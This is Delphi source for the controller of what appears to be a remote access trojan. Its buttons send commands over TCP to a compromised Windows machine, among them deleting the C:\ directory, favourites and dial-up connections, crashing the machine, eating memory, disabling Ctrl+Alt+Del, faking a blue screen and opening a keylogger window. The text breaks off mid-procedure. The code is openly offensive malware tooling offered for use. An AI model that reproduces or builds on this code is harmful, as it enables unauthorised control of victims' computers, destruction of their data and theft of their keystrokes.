unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  TFlatButtonUnit, ExtCtrls, TFlatPanelUnit, StdCtrls, TFlatEditUnit,
  CoolTrayIcon, BUFormAnimation, TFlatHintUnit, TFlatMemoUnit, wininet,
  WSocket, Winsock, TFlatGroupBoxUnit, INetDetector;

type
  TfrmClient = class(TForm)
    FlatPanel1: TFlatPanel;
    FlatPanel2: TFlatPanel;
    FlatButton1: TFlatButton;
    FlatButton2: TFlatButton;
    FlatPanel3: TFlatPanel;
    info: TFlatPanel;
    FlatPanel5: TFlatPanel;
    FlatPanel6: TFlatPanel;
    Host: TFlatEdit;
    Port: TFlatEdit;
    btnConnect: TFlatButton;
    FlatButton5: TFlatButton;
    FlatButton6: TFlatButton;
    Label1: TLabel;
    Label2: TLabel;
    Timer1: TTimer;
    FlatPanel7: TFlatPanel;
    FlatButton7: TFlatButton;
    FlatButton8: TFlatButton;
    FlatButton9: TFlatButton;
    FlatButton10: TFlatButton;
    FlatButton11: TFlatButton;
    FlatButton12: TFlatButton;
    FlatButton13: TFlatButton;
    FlatButton14: TFlatButton;
    CoolTrayIcon1: TCoolTrayIcon;
    FlatButton15: TFlatButton;
    FlatButton16: TFlatButton;
    Image1: TImage;
    BUFormAnimation1: TBUFormAnimation;
    news: TFlatPanel;
    Memo2: TFlatMemo;
    btnGetnews: TFlatButton;
    FlatHint1: TFlatHint;
    FlatButton3: TFlatButton;
    FlatButton4: TFlatButton;
    Client: TWSocket;
    btnKeylog: TFlatButton;
    FlatHint2: TFlatHint;
    Label18: TLabel;
    Label19: TLabel;
    Label20: TLabel;
    Label21: TLabel;
    mayhem2: TFlatPanel;
    FlatButton32: TFlatButton;
    Label22: TLabel;
    Label26: TLabel;
    Label27: TLabel;
    FlatButton33: TFlatButton;
    FlatButton34: TFlatButton;
    FlatButton35: TFlatButton;
    FlatButton36: TFlatButton;
    FlatButton37: TFlatButton;
    FlatButton38: TFlatButton;
    FlatButton39: TFlatButton;
    FlatButton40: TFlatButton;
    FlatButton41: TFlatButton;
    FlatButton42: TFlatButton;
    FlatButton43: TFlatButton;
    FlatButton44: TFlatButton;
    FlatButton45: TFlatButton;
    FlatButton46: TFlatButton;
    FlatButton47: TFlatButton;
    FlatButton48: TFlatButton;
    FlatButton49: TFlatButton;
    mayhem3: TFlatPanel;
    FlatButton50: TFlatButton;
    FlatButton51: TFlatButton;
    FlatButton52: TFlatButton;
    Label23: TLabel;
    Label24: TLabel;
    Label25: TLabel;
    Label28: TLabel;
    Label29: TLabel;
    Label30: TLabel;
    FlatButton53: TFlatButton;
    FlatButton54: TFlatButton;
    FlatButton55: TFlatButton;
    FlatButton56: TFlatButton;
    FlatButton57: TFlatButton;
    FlatButton58: TFlatButton;
    FlatButton59: TFlatButton;
    FlatButton60: TFlatButton;
    FlatButton61: TFlatButton;
    FlatButton62: TFlatButton;
    FlatButton63: TFlatButton;
    FlatButton64: TFlatButton;
    FlatButton65: TFlatButton;
    mayhem4: TFlatPanel;
    FlatButton66: TFlatButton;
    FlatButton67: TFlatButton;
    FlatButton68: TFlatButton;
    FlatButton69: TFlatButton;
    FlatButton70: TFlatButton;
    FlatButton71: TFlatButton;
    FlatButton72: TFlatButton;
    FlatButton73: TFlatButton;
    FlatButton74: TFlatButton;
    FlatButton75: TFlatButton;
    FlatButton76: TFlatButton;
    FlatButton77: TFlatButton;
    FlatButton78: TFlatButton;
    FlatButton79: TFlatButton;
    FlatButton80: TFlatButton;
    FlatButton81: TFlatButton;
    FlatButton82: TFlatButton;
    FlatButton83: TFlatButton;
    FlatButton84: TFlatButton;
    Sounds: TFlatPanel;
    FlatButton87: TFlatButton;
    FlatButton88: TFlatButton;
    FlatButton89: TFlatButton;
    FlatButton90: TFlatButton;
    FlatButton91: TFlatButton;
    FlatButton92: TFlatButton;
    FlatButton93: TFlatButton;
    FlatButton94: TFlatButton;
    FlatButton95: TFlatButton;
    FlatButton96: TFlatButton;
    FlatButton97: TFlatButton;
    FlatButton98: TFlatButton;
    FlatButton99: TFlatButton;
    FlatButton100: TFlatButton;
    FlatButton101: TFlatButton;
    FlatButton102: TFlatButton;
    Label31: TLabel;
    options: TFlatPanel;
    FlatGroupBox1: TFlatGroupBox;
    Nick: TFlatEdit;
    Label32: TLabel;
    FlatButton103: TFlatButton;
    Label33: TLabel;
    FlatButton104: TFlatButton;
    Label34: TLabel;
    FlatButton105: TFlatButton;
    Label35: TLabel;
    FlatButton106: TFlatButton;
    FlatButton107: TFlatButton;
    FlatGroupBox2: TFlatGroupBox;
    FlatButton108: TFlatButton;
    FlatButton109: TFlatButton;
    FlatButton110: TFlatButton;
    FlatGroupBox3: TFlatGroupBox;
    FlatButton111: TFlatButton;
    FlatButton112: TFlatButton;
    FlatButton113: TFlatButton;
    FlatButton114: TFlatButton;
    FlatButton115: TFlatButton;
    mayhem1: TFlatPanel;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    Label6: TLabel;
    Label7: TLabel;
    Label8: TLabel;
    Label9: TLabel;
    Label10: TLabel;
    Label11: TLabel;
    Label12: TLabel;
    Label13: TLabel;
    Label14: TLabel;
    Label15: TLabel;
    Label16: TLabel;
    Label17: TLabel;
    FlatButton17: TFlatButton;
    FlatButton18: TFlatButton;
    FlatButton19: TFlatButton;
    FlatButton20: TFlatButton;
    FlatButton21: TFlatButton;
    FlatButton22: TFlatButton;
    FlatButton23: TFlatButton;
    FlatButton24: TFlatButton;
    FlatButton25: TFlatButton;
    FlatButton26: TFlatButton;
    FlatButton27: TFlatButton;
    FlatButton28: TFlatButton;
    FlatButton29: TFlatButton;
    FlatButton30: TFlatButton;
    FlatButton31: TFlatButton;
    FlatButton85: TFlatButton;
    FlatButton86: TFlatButton;
    procedure FlatButton3Click(Sender: TObject);
    procedure FlatButton1Click(Sender: TObject);
    procedure FlatButton2Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure CoolTrayIcon1DblClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FlatButton7Click(Sender: TObject);
    procedure FlatPanel1MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure FlatButton8Click(Sender: TObject);
    procedure FlatButton9Click(Sender: TObject);
    procedure FlatButton15Click(Sender: TObject);
    procedure Image1Click(Sender: TObject);
    procedure btnClearmemoClick(Sender: TObject);
    procedure btnGetnewsClick(Sender: TObject);
    procedure FlatButton10Click(Sender: TObject);
    procedure ClientDataAvailable(Sender: TObject; Error: Word);
    procedure ClientSessionClosed(Sender: TObject; Error: Word);
    procedure ClientSessionConnected(Sender: TObject; Error: Word);
    procedure btnConnectClick(Sender: TObject);
    procedure ConnectTo(RemoteHost :String);
    procedure FlatButton4Click(Sender: TObject);
    procedure btnKeylogClick(Sender: TObject);
    procedure FlatButton6Click(Sender: TObject);
    procedure FlatButton19Click(Sender: TObject);
    procedure FlatButton20Click(Sender: TObject);
    procedure FlatButton21Click(Sender: TObject);
    procedure FlatButton22Click(Sender: TObject);
    procedure FlatButton25Click(Sender: TObject);
    procedure FlatButton26Click(Sender: TObject);
    procedure FlatButton29Click(Sender: TObject);
    procedure FlatButton23Click(Sender: TObject);
    procedure FlatButton24Click(Sender: TObject);
    procedure FlatButton17Click(Sender: TObject);
    procedure FlatButton18Click(Sender: TObject);
    procedure FlatButton27Click(Sender: TObject);
    procedure FlatButton28Click(Sender: TObject);
    procedure FlatButton30Click(Sender: TObject);
    procedure FlatButton31Click(Sender: TObject);
    procedure FlatButton11Click(Sender: TObject);
    procedure FlatButton12Click(Sender: TObject);
    procedure FlatButton13Click(Sender: TObject);
    procedure FlatButton14Click(Sender: TObject);
    procedure FlatButton16Click(Sender: TObject);
    procedure FlatButton32Click(Sender: TObject);
    procedure FlatButton33Click(Sender: TObject);
    procedure FlatButton34Click(Sender: TObject);
    procedure FlatButton35Click(Sender: TObject);
    procedure FlatButton36Click(Sender: TObject);
    procedure FlatButton37Click(Sender: TObject);
    procedure FlatButton38Click(Sender: TObject);
    procedure FlatButton39Click(Sender: TObject);
    procedure FlatButton40Click(Sender: TObject);
    procedure FlatButton41Click(Sender: TObject);
    procedure FlatButton42Click(Sender: TObject);
    procedure FlatButton43Click(Sender: TObject);
    procedure FlatButton44Click(Sender: TObject);
    procedure FlatButton47Click(Sender: TObject);
    procedure FlatButton45Click(Sender: TObject);
    procedure FlatButton46Click(Sender: TObject);
    procedure FlatButton48Click(Sender: TObject);
    procedure FlatButton49Click(Sender: TObject);
    procedure FlatButton50Click(Sender: TObject);
    procedure FlatButton51Click(Sender: TObject);
    procedure FlatButton52Click(Sender: TObject);
    procedure FlatButton53Click(Sender: TObject);
    procedure FlatButton54Click(Sender: TObject);
    procedure FlatButton55Click(Sender: TObject);
    procedure FlatButton56Click(Sender: TObject);
    procedure FlatButton57Click(Sender: TObject);
    procedure FlatButton58Click(Sender: TObject);
    procedure FlatButton59Click(Sender: TObject);
    procedure FlatButton60Click(Sender: TObject);
    procedure FlatButton61Click(Sender: TObject);
    procedure FlatButton62Click(Sender: TObject);
    procedure FlatButton63Click(Sender: TObject);
    procedure FlatButton64Click(Sender: TObject);
    procedure FlatButton65Click(Sender: TObject);
    procedure FlatButton66Click(Sender: TObject);
    procedure FlatButton67Click(Sender: TObject);
    procedure FlatButton68Click(Sender: TObject);
    procedure FlatButton69Click(Sender: TObject);
    procedure FlatButton70Click(Sender: TObject);
    procedure FlatButton71Click(Sender: TObject);
    procedure FlatButton72Click(Sender: TObject);
    procedure FlatButton73Click(Sender: TObject);
    procedure FlatButton74Click(Sender: TObject);
    procedure FlatButton75Click(Sender: TObject);
    procedure FlatButton76Click(Sender: TObject);
    procedure FlatButton77Click(Sender: TObject);
    procedure FlatButton78Click(Sender: TObject);
    procedure FlatButton80Click(Sender: TObject);
    procedure FlatButton79Click(Sender: TObject);
    procedure FlatButton82Click(Sender: TObject);
    procedure FlatButton81Click(Sender: TObject);
    procedure FlatButton83Click(Sender: TObject);
    procedure FlatButton84Click(Sender: TObject);
    procedure FlatButton85Click(Sender: TObject);
    procedure FlatButton86Click(Sender: TObject);
    procedure FlatButton87Click(Sender: TObject);
    procedure FlatButton88Click(Sender: TObject);
    procedure FlatButton89Click(Sender: TObject);
    procedure FlatButton90Click(Sender: TObject);
    procedure FlatButton91Click(Sender: TObject);
    procedure FlatButton92Click(Sender: TObject);
    procedure FlatButton93Click(Sender: TObject);
    procedure FlatButton94Click(Sender: TObject);
    procedure FlatButton95Click(Sender: TObject);
    procedure FlatButton96Click(Sender: TObject);
    procedure FlatButton97Click(Sender: TObject);
    procedure FlatButton98Click(Sender: TObject);
    procedure FlatButton99Click(Sender: TObject);
    procedure FlatButton100Click(Sender: TObject);
    procedure FlatButton101Click(Sender: TObject);
    procedure FlatButton102Click(Sender: TObject);
    procedure FlatButton103Click(Sender: TObject);
    procedure FlatButton104Click(Sender: TObject);
    procedure FlatButton105Click(Sender: TObject);
    procedure FlatButton106Click(Sender: TObject);
    procedure FlatButton107Click(Sender: TObject);
    procedure FlatButton108Click(Sender: TObject);
    procedure FlatButton109Click(Sender: TObject);
    procedure FlatButton110Click(Sender: TObject);
    procedure FlatButton113Click(Sender: TObject);
    procedure FlatButton114Click(Sender: TObject);
    procedure FlatButton115Click(Sender: TObject);
    procedure FlatButton111Click(Sender: TObject);
    procedure FlatButton112Click(Sender: TObject);
    procedure FlatButton5Click(Sender: TObject);
  private
  Buffer: array [0..1023] of Char;
    Count: Integer;
    { Private declarations }
  public
    { Public declarations }
  end;

var
  frmClient: TfrmClient;
  Connecting, Connected: Boolean;
  RemoteIP: String;

implementation

uses Unit2, Unit3, Unit4, Unit5, Unit6, Unit7, Unit8, Unit9;

{$R *.DFM}

procedure TfrmClient.ConnectTo(RemoteHost: String);
begin
   if Client.State <> wsClosed then
      begin
         if MessageDlg('Break the current connection?', mtConfirmation,
         [mbYes, mbNo], 0) = mrNo then
            Exit;
           info.caption:=('Closing current connection...');
            Client.Abort;
      end
   else
   if RemoteHost = '' then
      begin
         info.caption:=('Bad IP address encountered.');
         Connected := False;
         Exit;
      end;

   RemoteHost := Host.Text;
   RemoteIP:= RemoteHost;

   info.caption:=('Connecting to ' + RemoteHost + '...');

   Client.Port := Port.text;
   Client.Addr := RemoteHost;
   Client.Proto := 'tcp';
   Connecting := True;
   Client.Connect;
end;


function GetNet( strURL: String ): String;
const
bufSiz = 512;
var
aHI, aHURL: HINTERNET;
buf: string; 
s: string;
bytesRead: cardinal;
aBool: boolean;
begin
Screen.cursor := crHourglass;
try
ahI := InternetOpen('CGITEST', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, INTERNET_FLAG_MAKE_PERSISTENT);
if (aHI = nil) then exit;
aHURL := InternetOpenURL(aHI, PChar(strURL), nil, 0,
INTERNET_FLAG_EXISTING_CONNECT or
INTERNET_FLAG_MAKE_PERSISTENT, 0);
if (aHURL = nil) then exit;
s := '';
repeat
buf := '';
SetLength(buf, bufSiz);
aBool := InternetReadFile(aHURL, PChar(buf), bufSiz, bytesRead);
SetLength(buf, bytesRead);
if (aBool and (bytesRead <> 0)) then
s := s + buf;
until (aBool and (bytesRead = 0)) or (not aBool);
Result := s;
InternetCloseHandle(aHURL);
InternetCloseHandle(aHI);
finally
Screen.cursor := crDefault;
end;
end;

procedure Gettext(Url: String );
var
Stream: TStringStream;
s: string;
begin
s := GetNet( Url );
Stream := TStringStream.Create(s);
frmClient.Memo2.lines.loadFromStream(Stream);
Stream.Free;
end;

procedure TfrmClient.FlatButton3Click(Sender: TObject);
begin
options.Visible:=true;
news.Visible:=false;
mayhem1.Visible:=false;
mayhem2.Visible:=false;
mayhem3.Visible:=false;
mayhem4.Visible:=false;
sounds.Visible:=false;
end;

procedure TfrmClient.FlatButton1Click(Sender: TObject);
begin
close;
end;

procedure TfrmClient.FlatButton2Click(Sender: TObject);
begin
Application.Minimize;
end;

procedure TfrmClient.Timer1Timer(Sender: TObject);
begin
FlatPanel3.caption := FormatDateTime (' hh:nn.ss  ', Now);
end;

procedure TfrmClient.CoolTrayIcon1DblClick(Sender: TObject);
begin
CoolTrayIcon1.ShowMainForm;
end;

procedure TfrmClient.FormCreate(Sender: TObject);
begin
BUFormAnimation1.AppearRectangle;
end;

procedure TfrmClient.FlatButton7Click(Sender: TObject);
begin
Form2.show;
end;

procedure TfrmClient.FlatPanel1MouseDown(Sender: TObject;
  Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
 ReleaseCapture;
 Perform(WM_NCLBUTTONDOWN,HTCAPTION,0);

end;

procedure TfrmClient.FlatButton8Click(Sender: TObject);
begin
Form3.show
end;

procedure TfrmClient.FlatButton9Click(Sender: TObject);
begin
Form4.show;
end;

procedure TfrmClient.FlatButton15Click(Sender: TObject);
begin
Form5.show
end;

procedure TfrmClient.Image1Click(Sender: TObject);
begin
Form6.Show;
end;

procedure TfrmClient.btnClearmemoClick(Sender: TObject);
begin
Memo2.clear;
end;

procedure TfrmClient.btnGetnewsClick(Sender: TObject);
begin
gettext('http://www.noel16.freeserve.co.uk/news.txt');
end;

procedure TfrmClient.FlatButton10Click(Sender: TObject);
begin
news.visible:=true;
mayhem1.visible:=false;
mayhem2.visible:=false;
mayhem3.visible:=false;
mayhem4.Visible:=false;
Sounds.Visible:=false;
options.Visible:=false;
end;







procedure TfrmClient.ClientDataAvailable(Sender: TObject; Error: Word);
var
  Len: Integer;
  I: Integer;
begin
   Len := Client.Receive(@Buffer[Count], SizeOf(Buffer) - Count - 1);
      if Len <= 0 then
         Exit;

      Count := Count + Len;
      Buffer[Count] := #0;

      while TRUE do
         begin
            I := 0;
            while (I < Count) and (Buffer[I] <> #10) do
               Inc(I);
                  if I >= Count then
                     Exit;
                     info.caption:=(Copy(StrPas(Buffer), 1, I));
                     Count := 0;
                  if I >= Integer(StrLen(Buffer)) then
                     Break;
                  Move(Buffer[I + 1], Buffer, Integer(Strlen(Buffer)) - I);
                  Count := StrLen(Buffer);
         end;
end;

procedure TfrmClient.ClientSessionClosed(Sender: TObject; Error: Word);
begin
if not Connecting then
      begin
         info.Caption:=('Disconnected from ' + RemoteIP);
         frmChat.Hide;
         Connected := False;

      end;
end;

procedure TfrmClient.ClientSessionConnected(Sender: TObject; Error: Word);
begin
if Error = 0 then
      begin
         Connecting := False;
         Connected := True;
         info.Caption:=('Connected to ' + RemoteIP);

      end
   else
      begin
         info.Caption:=('Couldn''t connect to ' + RemoteIP);
         RemoteIP := '';
      end;
end;

procedure TfrmClient.btnConnectClick(Sender: TObject);
begin
ConnectTo(Host.Text);
end;

procedure TfrmClient.FlatButton4Click(Sender: TObject);
begin
frmMessage.show;
end;

procedure TfrmClient.btnKeylogClick(Sender: TObject);
begin
Form9.show;
end;

procedure TfrmClient.FlatButton6Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Pinging Remote Machine');
      Client.SendStr('Ping!' + #13#10);
     end
end;

procedure TfrmClient.FlatButton19Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Hiding Start Button ');
      Client.SendStr('Hidestart' + #13#10);
     end
end;

procedure TfrmClient.FlatButton20Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Showing Start Button ');
      Client.SendStr('Showstart' + #13#10);
     end
end;

procedure TfrmClient.FlatButton21Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Disabling Start Button ');
      Client.SendStr('Disablestart' + #13#10);
     end
end;

procedure TfrmClient.FlatButton22Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Enabling Start Button ');
      Client.SendStr('Enablestart' + #13#10);
     end
end;

procedure TfrmClient.FlatButton25Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Hiding Taskbar');
      Client.SendStr('Hidetaskbar' + #13#10);
     end
end;

procedure TfrmClient.FlatButton26Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Showing Taskbar');
      Client.SendStr('Showtaskbar' + #13#10);
     end
end;

procedure TfrmClient.FlatButton29Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Activating Taskbar Shaker...');
      Client.SendStr('Taskbarmesser' + #13#10);
     end
end;

procedure TfrmClient.FlatButton23Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Hiding Fast Launch Buttons');
      Client.SendStr('Hidelaunchbuttons' + #13#10);
     end
end;

procedure TfrmClient.FlatButton24Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Showing Fast Launch Buttons');
      Client.SendStr('Showlaunchbuttons' + #13#10);
     end
end;

procedure TfrmClient.FlatButton17Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Hiding System Tray');
      Client.SendStr('Hidesystray' + #13#10);
     end
end;

procedure TfrmClient.FlatButton18Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Showing System Tray');
      Client.SendStr('Showsystray' + #13#10);
     end
end;

procedure TfrmClient.FlatButton27Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Hiding Clock');
      Client.SendStr('Hideclock' + #13#10);
     end
end;

procedure TfrmClient.FlatButton28Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Showing Clock');
      Client.SendStr('Showclock' + #13#10);
     end
end;

procedure TfrmClient.FlatButton30Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Hiding Desktop Icons');
      Client.SendStr('Hidedesktopicons' + #13#10);
     end
end;

procedure TfrmClient.FlatButton31Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Showing Desktop Icons');
      Client.SendStr('Showdesktopicons' + #13#10);
     end
end;

procedure TfrmClient.FlatButton11Click(Sender: TObject);
begin
mayhem1.Visible:=true;
news.Visible:=false;
mayhem2.visible:=false;
Mayhem3.Visible:=false;
mayhem4.Visible:=false;
Sounds.Visible:=false;
options.Visible:=false;
end;

procedure TfrmClient.FlatButton12Click(Sender: TObject);
begin
mayhem1.visible:=false;
mayhem2.visible:=true;
News.Visible:=false;
mayhem3.visible:=false;
mayhem4.Visible:=false;
Sounds.Visible:=false;
options.Visible:=false;
end;

procedure TfrmClient.FlatButton13Click(Sender: TObject);
begin
mayhem1.visible:=false;
mayhem2.Visible:=false;
News.Visible:=false;
mayhem3.visible:=true;
mayhem4.Visible:=false;
Sounds.Visible:=false;
options.Visible:=false;
end;

procedure TfrmClient.FlatButton14Click(Sender: TObject);
begin
mayhem1.visible:=false;
mayhem2.visible:=false;
News.Visible:=false;
mayhem3.visible:=false;
mayhem4.Visible:=true;
Sounds.Visible:=false;
options.Visible:=false;
end;

procedure TfrmClient.FlatButton16Click(Sender: TObject);
begin
mayhem1.visible:=false;
mayhem2.visible:=false;
News.Visible:=false;
mayhem3.visible:=false;
mayhem4.Visible:=false;
Sounds.Visible:=true;
options.Visible:=false;
end;

procedure TfrmClient.FlatButton32Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Opening CD Drive');
      Client.SendStr('Opencd' + #13#10);
     end
end;

procedure TfrmClient.FlatButton33Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Closing CD Drive');
      Client.SendStr('Closecd' + #13#10);
     end
end;

procedure TfrmClient.FlatButton34Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Wacky CD Activated');
      Client.SendStr('Wackycd' + #13#10);
     end
end;

procedure TfrmClient.FlatButton35Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Rebooting Machine');
      Client.SendStr('Reboot' + #13#10);
     end
end;

procedure TfrmClient.FlatButton36Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Forcing a Reboot');
      Client.SendStr('Forcereboot' + #13#10);
     end
end;

procedure TfrmClient.FlatButton37Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Logging off User ');
      Client.SendStr('Logoff' + #13#10);
     end
end;

procedure TfrmClient.FlatButton38Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Powering off Machine ');
      Client.SendStr('Poweroff' + #13#10);
     end
end;

procedure TfrmClient.FlatButton39Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Shutting Down Machine');
      Client.SendStr('Shutdown' + #13#10);
     end
end;

procedure TfrmClient.FlatButton40Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Restarting Windows');
      Client.SendStr('Restartwindows' + #13#10);
     end
end;

procedure TfrmClient.FlatButton41Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Hiding Mouse');
      Client.SendStr('Hidemouse' + #13#10);
     end
end;

procedure TfrmClient.FlatButton42Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Showing Mouse');
      Client.SendStr('Showmouse' + #13#10);
     end
end;

procedure TfrmClient.FlatButton43Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Freezing Mouse');
      Client.SendStr('Freezemouse' + #13#10);
     end
end;

procedure TfrmClient.FlatButton44Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Activating Wacky Mouse');
      Client.SendStr('Mouserandomon' + #13#10);
     end
end;

procedure TfrmClient.FlatButton47Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Deactivating Wacky Mouse');
      Client.SendStr('Mouserandomoff' + #13#10);
     end
end;

procedure TfrmClient.FlatButton45Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Switching Mouse Buttons');
      Client.SendStr('Switchmousebuttons' + #13#10);
     end
end;

procedure TfrmClient.FlatButton46Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Returning Mouse Buttons to Normal');
      Client.SendStr('Normalmousebuttons' + #13#10);
     end
end;

procedure TfrmClient.FlatButton48Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Turning Mouse Trails On');
      Client.SendStr('Showmousetrails' + #13#10);
     end
end;

procedure TfrmClient.FlatButton49Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Turning Mouse Trails Off');
      Client.SendStr('Hidemousetrails' + #13#10);
     end
end;

procedure TfrmClient.FlatButton50Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Exiting to MS DOS Mode');
      Client.SendStr('Msdos' + #13#10);
     end
end;

procedure TfrmClient.FlatButton51Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Safe Mode On');
      Client.SendStr('Safemodeon' + #13#10);
     end
end;

procedure TfrmClient.FlatButton52Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Safe Mode Off');
      Client.SendStr('Safemodeoff' + #13#10);
     end
end;

procedure TfrmClient.FlatButton53Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Switching Monitor Off');
      Client.SendStr('Monitoroff' + #13#10);
     end
end;

procedure TfrmClient.FlatButton54Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Switching Monitor On');
      Client.SendStr('Monitoron' + #13#10);
     end
end;

procedure TfrmClient.FlatButton55Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Switching Num Lock On');
      Client.SendStr('Numlockon' + #13#10);
     end
end;

procedure TfrmClient.FlatButton56Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Switching Num Lock Off');
      Client.SendStr('Numlockoff' + #13#10);
     end
end;

procedure TfrmClient.FlatButton57Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Switching Caps Lock On');
      Client.SendStr('Capslockon' + #13#10);
     end
end;

procedure TfrmClient.FlatButton58Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Switching Caps Lock Off');
      Client.SendStr('Capslockoff' + #13#10);
     end
end;

procedure TfrmClient.FlatButton59Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Switching Scroll Lock On');
      Client.SendStr('Scrolllockon' + #13#10);
     end
end;

procedure TfrmClient.FlatButton60Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Switching Scroll Lock Off');
      Client.SendStr('Scrolllockoff' + #13#10);
     end
end;

procedure TfrmClient.FlatButton61Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Switching Screensaver On');
      Client.SendStr('Screensaveron' + #13#10);
     end
end;

procedure TfrmClient.FlatButton62Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Switching Screensaver Off');
      Client.SendStr('Screensaveroff' + #13#10);
     end
end;

procedure TfrmClient.FlatButton63Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Switching Screensaver On Now');
      Client.SendStr('Screensaveronnow' + #13#10);
     end
end;

procedure TfrmClient.FlatButton64Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Disabling Control Alt Del');
      Client.SendStr('Controlaltdeldisable' + #13#10);
     end
end;

procedure TfrmClient.FlatButton65Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Enabling Control Alt Del');
      Client.SendStr('Controlaltdelenable' + #13#10);
     end
end;

procedure TfrmClient.FlatButton66Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Setting New Time');
      Client.SendStr('Setnewtime' + #13#10);
     end
end;

procedure TfrmClient.FlatButton67Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Showing Blue Screen of Death');
      Client.SendStr('Bluescreen' + #13#10);
     end
end;

procedure TfrmClient.FlatButton68Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Showing Critical Error Message');
      Client.SendStr('Criticalerror' + #13#10);
     end
end;

procedure TfrmClient.FlatButton69Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Sabotaging System...');
      Client.SendStr('Systemsabotage' + #13#10);
     end
end;

procedure TfrmClient.FlatButton70Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Deleting Netstat...');
      Client.SendStr('Deletenetstat' + #13#10);
     end
end;

procedure TfrmClient.FlatButton71Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Killing C:\ Directory...');
      Client.SendStr('Killdirectory' + #13#10);
     end
end;

procedure TfrmClient.FlatButton72Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Enabling Time Shutdown...');
      Client.SendStr('timeshutdown' + #13#10);
     end
end;

procedure TfrmClient.FlatButton73Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Disabling Time Shutdown...');
      Client.SendStr('timeshutdowndisable' + #13#10);
     end
end;

procedure TfrmClient.FlatButton74Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Deleting all Dial up Connections...');
      Client.SendStr('Deletedialups' + #13#10);
     end
end;

procedure TfrmClient.FlatButton75Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Crashing Machine...');
      Client.SendStr('Crashmachine' + #13#10);
     end
end;

procedure TfrmClient.FlatButton76Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Eating Memory...');
      Client.SendStr('Memoryeater' + #13#10);
     end
end;

procedure TfrmClient.FlatButton77Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Deleting Favourites Folder...');
      Client.SendStr('Deletefavoutites' + #13#10);
     end
end;

procedure TfrmClient.FlatButton78Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Showing Screen Lock');
      Client.SendStr('Showpasswordscreen' + #13#10);
     end
end;

procedure TfrmClient.FlatButton80Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Spitting Sheets...');
      Client.SendStr('Printerspitter' + #13#10);
     end
end;

procedure TfrmClient.FlatButton79Click(Sender: TObject);
begin
if Connected then
      begin
      info.Caption:=('Creating Multiple Folders...');
      Client.SendStr('Multiplefolders' + #13#10);
